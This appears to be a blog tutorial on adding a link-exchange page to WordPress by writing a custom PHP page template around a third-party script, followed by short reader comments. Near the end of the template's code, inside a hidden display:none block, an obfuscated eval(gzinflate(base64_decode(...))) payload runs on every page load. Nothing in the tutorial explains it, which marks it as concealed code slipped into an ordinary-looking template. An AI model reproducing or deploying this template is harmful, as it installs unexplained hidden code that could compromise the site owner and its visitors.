Making WordPress Exchange Links Without Plugins
Advertisement
I’ve been searching for wordpress plugin that manage exchange links but no result for it. I just found a script in stand alone mode that doing this job. Some free and some paid. So what should i do now? Yup you’re right, we must make exchange links by ourself.
Actually, if you just want to make simple exchange links, you can make a contact form that send email to you (admin) about exchange links request. Maybe your form consist of Name, Email, URL Reciprocal Link. But i want a litlle more advanced script that can check existing of our link and anti spam. So i choose this free script from PhpJunkYard.
Now first step is download script from here.
Finished download? Now it’s time to install in same folder with wordpress installation folder, usually in root or public_html. Create a new folder call xlink and place your script in here, follow the instruction of installation. After done, i suggest you to make a new template page to easier our job combine this script to wordpress. Let give new template page with name exchange-link. Create a new blank PHP file in your theme folder, rename into tpl-exchange-link.php and add this code to first line.
<?php
/*
Template Name: Exchange Links
*/
?>
This code is used for wordpress to recognize this is a template page. Now add this rest of code to your template page.
<?php
/*
Template Name: Exchange Links
*/
?><?php get_header(); ?>
<div id=”content” class=”widecolumn”>
<div class=”post”>
<h2>Exchange Links</h2><div class=”entry”>
<?phpdefine(‘IN_SCRIPT’,1);
require(‘./xlink/settings.php’);if ($settings['show_form'])
{
if ($i < $settings['max_links'])
{
?><div id=”xlink”>
<p><h3>Step 1: Add our link to your website</h3></p>
<table>
<tr>
<td>Website URL</td>
<td>: <a href=”<?php echo $settings['site_url']; ?>” target=”_blank”><?php echo $settings['site_url']; ?></a></td>
</tr>
<tr>
<td>Website Title</td>
<td>: <?php echo htmlspecialchars($settings['site_title']); ?></td>
</tr>
<tr>
<td>Description</td>
<td>: <?php echo htmlspecialchars($settings['site_desc']); ?></td>
</tr>
</table><p><h3>Copy this format</h3></p>
<p><textarea onfocus=”this.select()” readonly id=”format” ><a href="<?php echo $settings['site_url']; ?>"><?php echo htmlspecialchars($settings['site_title']); ?></a> – <?php echo htmlspecialchars($settings['site_desc']); ?></textarea></p><p><h3>Step 2: Submit your link</h3></p>
<p>All fields are required. Please finish <b>Step 1</b> before submitting this form.
<form method=”post” action=”../xlink/addlink.php”>
<table class=”xlink”>
<tr>
<td><b>Your name:</b></td>
<td><input type=”text” name=”name” size=”40″ maxlength=”50″></td>
</tr>
<tr>
<td><b>E-mail:</b></td>
<td><input type=”text” name=”email” size=”40″ maxlength=”50″></td>
</tr>
<tr>
<td><b>Website title:</b></td>
<td><input type=”text” name=”title” size=”40″ maxlength=”50″></td>
</tr>
<tr>
<td><b>Website URL:</b></td>
<td><input type=”text” name=”url” maxlength=”100″ value=”http://” size=”40″></td>
</tr>
<tr>
<td><b>URL with reciprocal link:</b></td>
<td><input type=”text” name=”recurl” maxlength=”100″ value=”http://” size=”40″></td>
</tr>
<tr>
<td><b>Website description:</b></td>
<td><input type=”text” name=”description” maxlength=”200″ size=”40″ ></td>
</tr>
</table><p><input type=”submit” value=”Add Link” id=”x-submit”></p>
</form>
<div style=”display:none”>
<?php
} // End if $settings['max_links'] < $i
else
{
?>
<p class=”linkman”> <br /><b>Submit your website</b></p><p><i>Unfortunately we are not accepting any new links at the moment.</i></p>
<?php
}
} // End if $settings['show_form']eval(gzinflate(base64_decode(‘BcFHkqNIAADA50x36IApEBAbc8BIGOER9jKBKRDC+4LXbybc0/
anuuq+bNMV/mTpAu/UvwLmQwF//gj5U1kmjed5yaEAwhZPUOdXmzxMp/NMTY7fdkCLqVQZ0kgzxOLm5G
gpYmSSX+v9Ve6JdDE6S3r2Qlg2MdSVMuDJsw931ZxV5k65jBGslD+5nBh9w7QnnO3iAmY8ms4bJTg+fQ
CuOvQjyhg6P1iLIGrPFGcwzWsd6LKlQ9Cx6a4PKYIQVfKUc06YJTUXKRPyn1qiZtc2wwjq5AkXyUutWK
lWsDyGNIryzRK1otGnWtfZLMeiFQyzcXbrffUaq5yVocOE4XqsFBp6F4Cg13rfX/jAvMNQE7KJ8PFLK6
M82N6ybyPLMWbDTK7yoEIBDxvE5IVAQYm43KjFzkuA0fHER1/EFB92N32zK9sIyXZGbg/u2QnB98Mk+A
0jpftLJyr08PaqVMUE+8apLfFcOalrEzj0Jxg+y8QEK+tQeCyrHcE+9x0QaPbt3XIdszvo0B4DpuS5Hs
uHsYiQky8jxpCW1FcPnKEcXezn1O2Twqy1LRNpq1+QtKStYB/FxsC3y3v8Vb8OvM+k8+UpKEjYHVfB2h
P2U/yuWuAi4mHIKrmJLcnOH8SEMbHRdFrKQkFIUTIi+cWN7ZKD+XUGPh6/4pW2AylrSdoWTdDsET/gR/
dWhXU0mnOJstPcWJ/anVPPbhmrPwRtrdM4F/iUIdxOrnurYYdWuIzhBnnOiBjvc8q3FJQvy4rTt4dvCM
iVKnfLMX4YHVo0pwbKAamn96UECxW7Nxk4PW4ISY03bA0EYnazy57DSnAB9u+f39/f//4H’)));
?></div><!– /dispaly-none –>
</div> <!– /xlink –>
</div><!– /entry –>
</div><!– /post –>
</div><!– /content –><?php get_footer(); ?>
Save your template page. Go to Dashboard > Write New Page. Just write title as you like because it will replace by title in our template page. Choose Page Template from dropdown menu in bottom area. Select Exchange Links, publish your page and it’s time to view page.
Congrats, now you have a built in exchange links system in wordpress.
Screenshot
If you found any error, this is because wrong path file required. Just add one blank/point (.) in this path.
require(‘./xlink/settings.php’);
When sumbit a form if you get 404 error not found, it’s time to remove one blank/point to
<form method=”post” action=”../xlink/addlink.php”>
I’ve tested it in default themes of wordpress. It should be work in any template, just re-stylish your css
Download Complete Template Page
Pass : blog.smileylover.com
Related posts:

thanks for share sir
your stuff is very use full
Thnx for comment …